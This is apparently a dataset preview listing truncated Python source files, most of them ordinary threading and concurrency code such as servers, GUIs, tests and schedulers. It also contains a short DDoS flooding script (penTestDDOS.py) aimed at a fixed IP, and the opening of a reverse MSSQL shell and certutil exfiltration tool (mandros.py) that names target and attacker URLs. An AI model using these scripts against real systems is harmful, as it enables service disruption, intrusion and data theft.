source
stringlengths
3
86
python
stringlengths
75
1.04M
kisniffer.py
'''Kirale Sniffer''' from __future__ import print_function import datetime import os import platform import struct import threading import time from kitools import kiserial # pylint: disable=E0401 if platform.system() in 'Windows': import win32api import win32file import win32pipe SW_V...
OT2listener_websocket_template_reusetips.py
import asyncio import websockets import json import time import ntplib from threading import Thread from opentrons import types # import nest_asyncio # nest_asyncio.apply() # status enumerations STATUS_IDLE = 0 STATUS_TASK_RECEIVED = 1 STATUS_TASK_INPROGRESS = 2 # STATUS_TASK_COMPLETE = 3 STATUS_ALL_DONE = 9 metad...
test_single_producer_disruptor.py
import unittest import typing import threading import time import random from pyring import ( SingleProducerDisruptor, DisruptorSubscriber, SequenceNotFound, ReadCursorBlock, ) class TestSingleProducerDisruptor(unittest.TestCase): def setUp(self): pass def test_can_create_with_defaul...
worker.py
import logging, os, sys, time, requests, json from datetime import datetime from multiprocessing import Process, Queue from urllib.parse import urlparse import pandas as pd import sqlalchemy as s from sqlalchemy import MetaData from sqlalchemy.ext.automap import automap_base from workers.standard_methods import registe...
testSnowflake.py
import threading import time import sys sys.path.append('..') from app.snowflake import Snowflake, getFlow, getTime, getMachineId if __name__ == '__main__': # test code here pool = Snowflake() cnt = 100 a = [] flowBitoverflow = 0 for i in range(cnt): a.append([]) stlock = threa...
example_animated.py
#!/usr/bin/env python3 # Python Stream Deck Library # Released under the MIT license # # dean [at] fourwalledcubicle [dot] com # www.fourwalledcubicle.com # # Example script showing one way to display animated images using the # library, by pre-rendering all the animation frames into the Stream...
aerosense_tcp_demo.py
import socket import sys from struct import unpack import threading def bytes_to_float(raw): bdata = bytes(raw) return unpack('f', bdata)[0] def bytes_to_int(raw): bdata = bytes(raw) return unpack('i', bdata)[0] def get_tansmit_rate(client_socket): sendBuffer = [0xAA, 0xAA, 0x55, 0x55, 0x04, 0x0...
server.py
# server.py import socket import sys SERVER = 'localhost' PORT = int(sys.argv[1]) INTERNAL_PORT = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server_address = (SERVER,PORT) server_address_2 = (SERVER,INTERNAL_PORT) sock.bind(server_...
test_metric.py
#!/usr/bin/python3 # -*- coding: utf-8 -*- import os import urllib import urllib.request import json import requests from requests.exceptions import SSLError import rdflib from rdflib import Graph, plugin from rdflib.serializer import Serializer import argparse import termcolor from string import Template import ite...
wxRavenTutorialPluginLogic.py
''' Created on 18 déc. 2021 @author: slinux ''' from .wxRavenTutorialPluginDesign import * import threading import time class MyTutorialView_WithLogic(MyTutorialView): ''' classdocs ''' # # # Datas for the plugin display style # # view_base_name = "Tutorial View" v...
Server.py
import threading import socket PORT = 5050 SERVER = "YOUR_SERVER_ADDRESS" Address = (SERVER, PORT) FORMAT = "utf-8" DISCONNECT_MESSAGE = "!DISCONNECT" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(Address) clients = set() clients_lock = threading.Lock() def handle_client(co...
filevideostream.py
# import the necessary packages from threading import Thread import sys import cv2 import time # import the Queue class from Python 3 if sys.version_info >= (3, 0): from queue import Queue # otherwise, import the Queue class for Python 2.7 else: from Queue import Queue class FileVideoStream: def __init__(self, p...
support_RegExp_test.py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
chatcommunicate.py
# coding=utf-8 from chatexchange import events from chatexchange.browser import LoginError from chatexchange.messages import Message from chatexchange_extension import Client import collections import itertools import os import os.path import pickle import queue import regex import requests import sys import threading ...
common.py
# -*- coding: utf-8 -*- #------------------------------------------------------------------------- # drawElements Quality Program utilities # -------------------------------------- # # Copyright 2015 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use t...
BuildReport.py
## @file # Routines for generating build report. # # This module contains the functionality to generate build report after # build all target completes successfully. # # Copyright (c) 2010 - 2018, Intel Corporation. All rights reserved.<BR> # This program and the accompanying materials # are licensed and made a...
meow.py
from PIL import Image import webbrowser import threading import time # Repetitive array instead of webscraping, or perhaps I'll create a database lol theImages = ["cat_test1.jpeg", "cat_test2.jpeg", "cat_test3.jpeg", "cat_test4.jpeg", "cat_test5.jpeg", "cat_test6.jpeg", "cat_test1.jpeg", "cat...
updater.py
""" Update HTPC-Manager from Github. Either through git command or tarball. Updater and SourceUpdater written by styxit https://github.com/styxit Git updater written by mbw2001 https://github.com/mbw2001 Used as reference: - https://github.com/mrkipling/maraschino - https://github.com/midgetspy/Sick-Beard/ """ impor...
my_threads_ex1.py
#!/usr/bin/var python from netmiko import ConnectHandler from net_system.models import NetworkDevice import django import threading import Queue def write_file(filename, output): with open(filenema, "w") as f: f.write(output) def remote_cmd(a_device, my_queue): output_dict = {} creds = a_device.c...
SocketServer-echo-server.py
#!/usr/bin/env python # -*- coding: utf8 -*- import SocketServer import logging import threading # # SocketServer.BaseRequestHandler # SocketServer.BaseServer # SocketServer.DatagramRequestHandler # SocketServer.ForkingMixIn # SocketServer.ForkingTCPServer # SocketServer.ForkingUDPServer # SocketServer.StreamRequestH...
test_base_events.py
"""Tests for base_events.py""" import errno import logging import math import os import socket import sys import threading import time import unittest from unittest import mock import asyncio from asyncio import base_events from asyncio import constants from asyncio import test_utils try: from test import support...
test_initialize.py
import multiprocessing as mp import numpy import psutil import pytest from dask import array as da from distributed import Client from distributed.deploy.local import LocalCluster from dask_cuda.initialize import initialize from dask_cuda.utils import _ucx_110, get_ucx_config mp = mp.get_context("spawn") ucp = pyte...
penTestDDOS.py
#DDOS attack is illegal, do not use this code on a network without permission import threading import socket target = '192.168.0.16' #server on private network port = 80 request = "GET / HTTP/1.1\r\nHost:%s\r\n\r\n" % target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) def attack(): while True: ...
main.py
#!/usr/bin/python from p4app import P4Mininet from p4app import P4Mininet, P4Program from mininet.topo import Topo from mininet.node import CPULimitedHost from mininet.link import TCLink from mininet.net import Mininet from mininet.log import lg from mininet.util import dumpNodeConnections, custom from mininet.cli imp...
cloud_manager.py
from flask import Flask, render_template, request, redirect from os.path import isfile, join from sys import platform, argv from threading import Thread from sqlite3 import Error import urllib.parse import webbrowser import threading import requests import datetime import unittest import sqlite3 import math import json...
controller.py
import glob import json import locale import os import re import shutil import subprocess import traceback from math import floor from pathlib import Path from threading import Thread from typing import List, Type, Set, Tuple, Optional import requests import yaml from colorama import Fore from requests import exceptio...
simulation_2.py
''' Created on Oct 12, 2016 @author: mwittie ''' import network_2 import link_2 import threading from time import sleep ##configuration parameters router_queue_size = 0 # 0 means unlimited simulation_time = 1 # give the network sufficient time to transfer all packets before quitting if __name__ == '__main__': ...
trezor-t-emu.py
import os import subprocess import sys import logging import time import threading import PyQt5.QtWidgets as qwi def execute_trezor_emu(emulator_base_dir: str, profile_dir: str): env = os.environ env['BROWSER'] = 'chromium' env['TREZOR_PROFILE'] = profile_dir start_sh = 'emu.sh' try: p = ...
uiview.py
#!/usr/bin/env python3 import time from multiprocessing import Process from cereal import messaging, log from selfdrive.manager.process_config import managed_processes from selfdrive.manager.process import launcher if __name__ == "__main__": road_speed_limiter = Process(name="road_speed_limiter", target=launcher, a...
file_server.py
#----------------------------------------------------------------------------- # Copyright (c) 2012 - 2021, Anaconda, Inc., and Bokeh Contributors. # All rights reserved. # # The full license is in the file LICENSE.txt, distributed with this software. #-------------------------------------------------------------------...
main_window.py
#!/usr/bin/env python3 # # Electrum - lightweight Bitcoin client # Copyright (C) 2012 thomasv@gitorious # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including with...
test_shared_mem.py
import networkx as nx import scipy.sparse as ssp import dgl import dgl.contrib as contrib from dgl.graph_index import create_graph_index from dgl.utils import toindex import backend as F import dgl.function as fn import pickle import io import unittest from utils import parametrize_dtype import multiprocessing as mp im...
dummy_overseer_agent.py
# Copyright (c) 2021-2022, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ...
ffmpegmux.py
import os import random import threading import subprocess import sys from streamlink import StreamError from streamlink.stream import Stream from streamlink.stream.stream import StreamIO from streamlink.utils import NamedPipe from streamlink.compat import devnull, which import logging log = logging.getLogger(__nam...
tdvt.py
""" Test driver script for the Tableau Datasource Verification Tool """ import sys if sys.version_info[0] < 3: raise EnvironmentError("TDVT requires Python 3 or greater.") from zipfile import ZipFile import argparse import glob import json import logging import os import queue import shutil import subproces...
tests.py
import os import shutil import sys import tempfile import threading import time import unittest from datetime import datetime, timedelta from io import StringIO from pathlib import Path from urllib.request import urlopen from django.core.cache import cache from django.core.exceptions import SuspiciousFileOperation fro...
deauther.py
from threading import Thread import typing import scapy.all as scapy from twinhunter.accesspoint import AccessPoint class Deauther(object): def __init__(self, interface: str, trusted_ap: AccessPoint): self._interface = interface self._trusted_ap = trusted_ap self._deauth_threads: typing.L...
Binance_Detect_Moonings.py
""" Disclaimer All investment strategies and investments involve risk of loss. Nothing contained in this program, scripts, code or repositoy should be construed as investment advice.Any reference to an investment's past or potential performance is not, and should not be construed as, a recommendation or as a guarantee...
lock_with.py
# lock_with.py # # A simple example of using a mutex lock for critical sections. # Uses the context manager feature of Python 2.6. import threading import time x = 0 # A shared value x_lock = threading.Lock() # A lock for synchronizing access to x COUNT = 1000000 def foo(): global x ...
match2.py
import numpy as np import cv2 import time # local modules from video import create_capture from common import clock, draw_str import threading, queue import imutils template = cv2.imread('/Users/rml4d7y/Personal/50from6954.jpg',0) w, h = template.shape[::-1] threshold = 0.8 cap = cv2.VideoCapture("udp://@127.0.0.1:...
tb_device_mqtt.py
# Copyright 2020. ThingsBoard # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
test_select_for_update_blocks.py
############## # Setup Django import django django.setup() ############# # Test proper import threading import time import pytest from django.db import transaction from django.db.models import F, Subquery from app.models import Sock @pytest.mark.django_db def test_select_for_update_blocks(): def create(): ...
main.py
#!/usr/bin/python3 from wsgiref.simple_server import make_server import subprocess import json import threading import logging import os import yaml homepath = os.environ["HOME"] with open(f'config.yaml') as file: config = yaml.safe_load(file.read()) sth = logging.StreamHandler() flh = logging.FileHandler('http.lo...
Simple_t.py
# system modules import cherrypy from cherrypy.test import webtest from cherrypy import expose from multiprocessing import Process # WMCore modules from WMCore.REST.Test import setup_dummy_server, fake_authz_headers from WMCore.REST.Test import fake_authz_key_file from WMCore.REST.Tools import tools FAKE_FILE = fake_...
power_monitoring.py
import random import threading import time from statistics import mean from cereal import log from common.params import Params, put_nonblocking from common.realtime import sec_since_boot from selfdrive.hardware import HARDWARE from selfdrive.swaglog import cloudlog PANDA_OUTPUT_VOLTAGE = 5.28 CAR_VOLTAGE_LOW_PASS_K =...
panoptic.py
#!/usr/bin/env python from __future__ import print_function """ Copyright (c) 2013-2015 Roberto Christopher Salgado Bjerre, Miroslav Stampar. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software witho...
profiling.py
"""Functions to profile performance of RDT Transformers.""" # pylint: disable=W0212 import multiprocessing as mp import timeit import tracemalloc from copy import deepcopy import pandas as pd def _profile_time(transformer, method_name, dataset, iterations=10, copy=False): total_time = 0 for _ in range(iter...
pydoc.py
#!/usr/bin/env python # -*- coding: latin-1 -*- """Generate Python documentation in HTML or text for interactive use. In the Python interpreter, do "from pydoc import help" to provide online help. Calling help(thing) on a Python object documents the object. Or, at the shell command line outside of Python: Run "pydo...
connect_manager.py
#!/usr/bin/env python # coding:utf-8 import os import errno import binascii import time import socket import select import Queue import struct import threading import operator import httplib import socks from proxy import xlog current_path = os.path.dirname(os.path.abspath(__file__)) import OpenSSL SSLError = OpenSS...
thread_1.py
__author__ = "JJ.sven" import time import threading ''' * 两种线程开启方式,1 threading.Thread()2 继承threading.Thread,重写run方法 * join的使用 * 守护线程和非守护线程 setDaemon ''' def task(t): print(t) time.sleep(2.0) t1 = threading.Thread(target=task, args=('t1',)) t2 = threading.Thread(target=task, args=('t2',)) # t1.start() # t...
device.py
from __future__ import print_function from enum import IntEnum import struct import binascii import uuid import threading from .notifications import GenericClearTileNotification from .parser import MsftBandParser from .commands import ( SERIAL_NUMBER_REQUEST, CARGO_NOTIFICATION, GET_TILES_NO_IMAGES, CORE_WHO_A...
datasets.py
# Dataset utils and dataloaders import glob import logging import math import os import random import shutil import time from itertools import repeat from multiprocessing.pool import ThreadPool from pathlib import Path from threading import Thread import cv2 import numpy as np import torch import torch.nn.functional ...
arduino_person_count_rev0.3.py
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,...
mesos.py
#!/usr/bin/env python """ DMLC submission script by mesos One need to make sure all slaves machines are ssh-able. """ from __future__ import absolute_import import os import sys import json import uuid import logging from threading import Thread from . import tracker try: import pymesos.subprocess logging.get...
main_window.py
#!/usr/bin/env python # # Electrum - lightweight Bitcoin client # Copyright (C) 2012 thomasv@gitorious # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including witho...
dreamer.py
import sys import calendar from datetime import date from itertools import permutations from multiprocessing.dummy import Process, Queue def is_valid_date(day, month, year): try: date(year, month, day) return True except ValueError: return False def evaluate_perm(perm): day = int('...
main.py
import socket import utilities import constants import client import server import threading import time def begin(): user_list={} checkvalues={'update_table':False,'updating':True} done=False print(user_list) s_thread=threading.Thread(target=server.start,args=(user_list,checkvalues)) s_thread....
_simple_stubs.py
# Copyright 2020 The gRPC authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed t...
athenad.py
#!/usr/bin/env python3 import base64 import bz2 import hashlib import io import json import os import queue import random import select import socket import subprocess import sys import tempfile import threading import time from collections import namedtuple from datetime import datetime from functools import partial f...
sailui_publish_gps.py
# encoding: utf8 """ SailUI - GPS data from serial port parsed and send to InfluxDB MIT License Copyright (c) 2021 HadrienLG Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, ...
wifi_connect.py
#!/usr/bin/env python2 # ############################################################################# # wifi_connect.py: RehiveTech WiFi Connect # # Authors: Josef Hajek <hajek@rehivetech.com> # # ...
pixelsorter.py
import os.path import tkinter as tk from multiprocessing import Process, Queue from tkinter import filedialog, messagebox from PIL import Image, ImageTk from interface_options import Options from interface_progress import Progress from sorting import sort from util import * # Constants ---------------- ...
gitwrapper.py
from queue import Queue, Empty import threading from asyncio import sleep import traceback import os from .pull import GitPuller class GitWrapper(): def __init__(self, repo, repobranch, repofolder): self.repo = repo self.finished = False self.error = False self.logs = [] ...
A3C_discrete_action.py
""" Asynchronous Advantage Actor Critic (A3C) with discrete action space, Reinforcement Learning. The Cartpole example. View more on my tutorial page: https://morvanzhou.github.io/tutorials/ Using: tensorflow 1.8.0 gym 0.10.5 """ import multiprocessing import threading import tensorflow as tf import numpy as np imp...
misc.py
# Author: Sudeep Pillai <spillai@csail.mit.edu> # License: MIT from __future__ import print_function import sys from collections import deque, OrderedDict import functools import multiprocessing def color_red(prt): return "\033[91m{}\033[00m" .format(prt) def color_green(prt): return "\033[92m{}\033[00m" .format(prt)...
__init__.py
# -*- coding:utf-8 -*- from gsiot.v3 import * class gsPipe(gsIO): def __init__(self, cfg): gsIO.__init__(self,cfg.readfile) self.cfg = cfg self.index=None self.__model_type = type self.LogData=self.cfg.LogData self.ReadData=self.cfg.ReadData self.fin = None ...
Network.py
import sys import threading import socket import json name_field = 3 class Node: def __init__(self, hostname, port=20001, encoding='JSON', length_field=4): self.host = hostname self.port = port self.queue = {} self.buffer_size = 1024 self.encoding = encoding self.le...
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
helper.py
import functools import json import multiprocessing import os import socket import subprocess from datetime import datetime from typing import List, Tuple import base58 import dateutil.tz from plenum.bls.bls_crypto_factory import create_default_bls_crypto_factory from plenum.test.node_catchup.helper import waitNodeDat...
health_manager.py
# Copyright 2015 Hewlett-Packard Development Company, L.P. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
TCP Server.py
# more changes will be made # this just creates a basic TCP server that waits for a client to connect # ideally this is supposed to be used for testing TCP connections on a small network import socket import threading # define global variables bind_ip = "0.0.0.0" bind_port = 9999 # create socket server = socket.soc...
mnist_live.py
from paint import Paint import threading from PIL import Image import numpy as np import time import os import tensorflow as tf def th1(img_ref, data_ref, done_ref): with tf.Session() as sess: new_saver = tf.train.import_meta_graph(os.path.join("saved", "model.meta")) graph = tf.get_default_graph(...
mandros.py
import sys import requests import threading import HTMLParser from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler ''' Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration ''' query_id = 0 target_url = "http://target/vulnerable.asp" local_url = "http://attacker/" local_port = ...
twisterlib.py
#!/usr/bin/env python3 # vim: set syntax=python ts=4 : # # Copyright (c) 2018 Intel Corporation # SPDX-License-Identifier: Apache-2.0 import os import contextlib import string import mmap import sys import re import subprocess import select import shutil import shlex import signal import threading import concurrent.fu...
test_errors.py
# This file is part of h5py, a Python interface to the HDF5 library. # # http://www.h5py.org # # Copyright 2008-2013 Andrew Collette and contributors # # License: Standard 3-clause BSD; see "license.txt" for full license terms # and contributor agreement. """ Tests the h5py.File object. """ ...
hands_free_dmm.py
#! /usr/bin/env python3 # The MIT License (MIT) # # Copyright (c) 2016 Charles Armstrap <charles@armstrap.org> # If you like this library, consider donating to: https://bit.ly/armstrap-opensource-dev # Anything helps. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this s...
finalproj.py
# -*- coding: utf-8 -*- """ Created on Wed May 20 20:08:34 2020 @author: Jayita """ import time import threading import moviepy from moviepy.editor import VideoFileClip import cvlib as cv from cvlib.object_detection import draw_bbox import cv2 def con(path,k,lane_no,cc): clip=VideoFileClip(path)...
dag_processing.py
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
stratum-miner.py
# Copyright (c) 2019, The Monero Project # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of ...
cl.py
#!/usr/bin/env python from datetime import datetime import os import hashlib import sys import time import threading import string import random import base64 import urllib.request import urllib.parse import subprocess import webbrowser Red = '\033[1;31m' Blue= '\033[1;36m' Endc = '\033[0m' typemassage = 00 try: ...
ss_voc.py
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' This sample demonstrates structured edge detection and edgeboxes. Usage: edgeboxes_demo.py [<model>] [<input_image>] ''' import cv2 as cv import numpy as np import sys from multiprocessing import Process import os import mmcv import skimage.io import...
advanced-reboot.py
# #ptf --test-dir ptftests fast-reboot --qlen=1000 --platform remote -t 'verbose=True;dut_username="admin";dut_hostname="10.0.0.243";reboot_limit_in_seconds=30;portchannel_ports_file="/tmp/portchannel_interfaces.json";vlan_ports_file="/tmp/vlan_interfaces.json";ports_file="/tmp/ports.json";dut_mac="4c:76:25:f5:48:80";d...
opencvDetection.py
import cv2 import sys import logging as log import datetime as dt import time import math import threading import queue from captureImagePicam import captureImagePicam from statistics import stdev from statistics import mean from faceObject import faceObject from random import randint import cProfile, ps...
Manager.py
import time, DAN, requests, random, datetime import sys from threading import Thread import re import json import traceback name = "" light = 0 interval = 50 changeinterval = 10 #s ledmesseges = {} ledindex = 0 skip = 0 def sendMessegeToLEDMatrix(msg): DAN.push('LEDCommandSender', json.dumps({'model':'LEDMatrix',...
tests.py
import time import traceback from datetime import date, datetime, timedelta from threading import Thread from django.core.exceptions import FieldError from django.db import DatabaseError, IntegrityError, connection from django.test import TestCase, TransactionTestCase, skipUnlessDBFeature from django.utils.functional ...
test_sys.py
from test import support from test.support.script_helper import assert_python_ok, assert_python_failure import builtins import codecs import gc import locale import operator import os import struct import subprocess import sys import sysconfig import test.support import textwrap import unittest import warnings # coun...
archiver.py
import argparse import dateutil.tz import errno import io import json import logging import os import pstats import random import re import shutil import socket import stat import subprocess import sys import tempfile import time import unittest from binascii import unhexlify, b2a_base64 from configparser import Config...
shaoq.py
''' @Author: gunjianpan @Date: 2019-03-21 17:34:15 @Last Modified by: gunjianpan @Last Modified time: 2019-04-18 19:33:44 ''' import execjs import requests import time import re import threading from bs4 import BeautifulSoup """ * shaoq @http * shaoq.com:7777 (single spider not use basic_req) """ class...
xshow0.2.0.py
# version 0.2.0 from matplotlib import pyplot as plt import torch, sys, cv2, skimage import scipy.misc import numpy as np from threading import Thread from matplotlib.widgets import Button, TextBox, Slider, CheckButtons class XimgWeightShow(): '''一般weight是个4维tensor(B,C,H,W), 这里只能输入(C,H,W)展示 若chaneltype='r...
acl_compressor.py
import multiprocessing import numpy import os import platform import queue import threading import time import signal import sys from itertools import chain # This script depends on a SJSON parsing package: # https://pypi.python.org/pypi/SJSON/1.1.0 # https://shelter13.net/projects/SJSON/ # https://bitbucket.org/Ante...
scheduler.py
import schedule import time from threading import Thread from util import get_interval_minutes import logging logger = logging.getLogger(__name__) def add_update_job(model_group): params = model_group.template['params'] interval_minutes = get_interval_minutes(params['retraining_interval']) logger.info(f'S...
lldb_batchmode.py
# Copyright 2014 The Rust Project Developers. See the COPYRIGHT # file at the top-level directory of this distribution and at # http://rust-lang.org/COPYRIGHT. # # Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or # http://www.apache.org/licenses/LICENSE-2.0> or the MIT license # <LICENSE-MIT or http://...
main.py
""" main.py Copyright 2007 Andres Riancho This file is part of w3af, http://w3af.org/ . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it wil...
proxy.py
#!/usr/bin/env python # coding:utf-8 # Based on GAppProxy 2.0.0 by Du XiaoGang <dugang.2008@gmail.com> # Based on WallProxy 0.4.0 by Hust Moon <www.ehust@gmail.com> # Contributor: # Phus Lu <phus.lu@gmail.com> # Hewig Xu <hewigovens@gmail.com> # Ayanamist Yang <ayanamist@gmail.com> ...
multithread2.py
""" 使用多线程的情况 - 模拟多个下载任务 Version: 0.1 Author: 骆昊 Date: 2018-03-20 """ from random import randint from threading import Thread from time import time, sleep def download_task(filename): print('开始下载%s...' % filename) time_to_download = randint(5, 10) sleep(time_to_download) print('%s下载完成! 耗费了%d秒' % (fil...
detection.py
from process import YOLODetector from PIL import UnidentifiedImageError import torchvision.transforms as transforms import traceback import argparse from PIL import Image, UnidentifiedImageError import torch.nn.functional as F import torch import numpy as np from shared import SharedOptions import _thread as thread imp...
base.py
import hashlib import httplib import os import threading import traceback import socket import urlparse from abc import ABCMeta, abstractmethod from ..testrunner import Stop from protocol import Protocol, BaseProtocolPart here = os.path.split(__file__)[0] # Extra timeout to use after internal test timeout at which t...
test_omf.py
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler import logging import requests_unixsocket import threading import unittest import os from vesna.omf.proxy import ALHAuthProxy from vesna.alh import ALHWeb logging.basicConfig(level=logging.WARNING) class MockALH(object): def __init__(self): self.reques...
installwizard.py
from functools import partial import threading import os from kivy.app import App from kivy.clock import Clock from kivy.lang import Builder from kivy.properties import ObjectProperty, StringProperty, OptionProperty from kivy.core.window import Window from kivy.uix.button import Button from kivy.uix.togglebutton impo...
test_reusable_executor.py
import os import sys import gc import ctypes import pytest import warnings import threading from time import sleep from multiprocessing import util, current_process from pickle import PicklingError, UnpicklingError import cloudpickle from packaging.version import Version import loky from loky import cpu_count from lo...